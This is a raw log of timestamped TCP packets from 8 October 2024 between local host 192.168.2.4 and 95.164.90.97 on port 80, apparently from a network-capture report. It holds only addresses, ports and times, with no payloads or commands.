Oct 8, 2024 02:45:31.972443104 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.972469091 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.972476959 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.972501993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.972511053 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.972537041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.972543001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.972569942 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.972577095 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.972601891 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.972609043 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.972635031 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.972641945 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.972667933 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.972675085 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.972702026 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.972708941 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.972733974 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.972743034 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.972769022 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.972769976 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.972801924 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.972810984 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.972835064 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.972841978 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.972867012 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.972877979 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.972901106 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.972906113 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.972933054 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.972940922 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.972966909 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.972974062 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.973006964 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.973189116 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.973222017 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.973232985 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.973253965 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.973261118 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.973289013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.973294973 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.973320007 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.973329067 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.973352909 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.973360062 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.973385096 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.973393917 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.973418951 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.973426104 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.973450899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.973459005 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.973541021 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.973546982 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.973577976 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.973579884 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.973614931 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.059777975 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.059847116 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.059899092 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.059932947 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.059933901 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.059933901 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.059933901 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.059967995 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.059972048 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.060002089 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.060009003 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.060039043 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.060045958 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.060072899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.060080051 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.060106039 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.060120106 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.060143948 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.060154915 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.060188055 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.060194969 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.060219049 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.060226917 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.060251951 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.060266972 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.060309887 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.060329914 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.060365915 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.060379982 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.060400009 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.060431957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.060437918 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.060442924 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.060470104 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.060480118 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.060504913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.060506105 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.060539007 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.060548067 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.060571909 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.060580969 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.060605049 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.060612917 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.060636997 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.060652018 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.060669899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.060681105 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.060703039 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.060709953 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.060735941 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.060744047 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.060769081 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.060780048 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.060801983 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.060834885 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.060849905 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.060882092 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.060945034 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.060976028 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.061002970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.061008930 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.061018944 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.061043978 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.061048985 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.061083078 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.061113119 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.061145067 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.061176062 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.061207056 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.061237097 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.061240911 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.061249018 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.061290979 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.061322927 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.061332941 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.061353922 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.061362028 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.061387062 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.061394930 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.061419010 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.061429024 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.061451912 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.061460018 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.061485052 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.061492920 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.061516047 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.061533928 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.061549902 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.061564922 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.061582088 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.061594009 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.061614990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.061646938 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.061661005 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.061681032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.061688900 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.061726093 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.062069893 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.062102079 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.062119961 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.062133074 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.062143087 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.062166929 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.062172890 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.062197924 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.062203884 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.062230110 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.062242985 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.062262058 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.062273026 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.062294960 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.062304020 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.062329054 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.062335968 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.062360048 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.062367916 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.062395096 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.062401056 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.062434912 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.062622070 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.062650919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.062665939 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.062684059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.062688112 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.062716007 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.062726021 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.062748909 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.062756062 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.062781096 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.062788010 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.062813044 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.062823057 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.062844992 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.062851906 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.062876940 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.062886953 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.062910080 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.062916994 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.062937975 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.062947035 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.062969923 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.062978029 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.063002110 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.063009977 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.063034058 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.063043118 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.063071012 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.063074112 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.063110113 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.063293934 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.063334942 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.063343048 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.063374996 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.063388109 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.063420057 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.063440084 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.063472986 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.063482046 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.063504934 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.063513041 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.063538074 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.063545942 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.063570023 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.063576937 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.063602924 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.063611984 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.063633919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.063646078 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.063667059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.063673973 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.063698053 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.063705921 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.063730955 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.063738108 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.063762903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.063771009 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.063795090 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.063802004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.063827991 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.063833952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.063858986 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.063867092 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.063891888 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.063899040 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.063930035 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.064133883 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.064186096 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.064188004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.064227104 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.064234972 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.064269066 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.064275980 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.064301014 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.064307928 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.064332962 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.064342022 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.064364910 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.064373016 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.064403057 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.064404964 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.064435005 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.064441919 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.064466953 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.064474106 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.064498901 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.064508915 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.064531088 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.064538002 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.064563990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.064573050 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.064596891 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.064604998 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.064629078 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.064635992 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.064661980 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.064670086 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.064694881 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.064702034 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.064729929 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.064734936 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.064825058 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.163048983 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.163090944 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.163134098 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.163184881 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.163191080 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.163218975 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.163228035 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.163228035 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.163316011 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.163322926 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.163357019 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.163363934 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.163398027 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.163409948 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.163444042 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.163454056 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.163484097 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.163494110 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.163527012 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.163536072 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.163562059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.163574934 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.163595915 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.163602114 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.163628101 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.163635969 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.163661957 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.163665056 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.163697004 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.163697958 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.163734913 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.163816929 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.163849115 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.163862944 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.163881063 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.163892984 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.163913965 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.163922071 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.163947105 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.163954020 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.163979053 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.163986921 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.164016962 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.164115906 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.164148092 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.164158106 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.164181948 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.164186001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.164213896 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.164221048 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.164256096 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.164268970 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.164300919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.164310932 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:32.164333105 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:32.164339066 CEST	51293	80	192.168.2.4	95.164.90.97
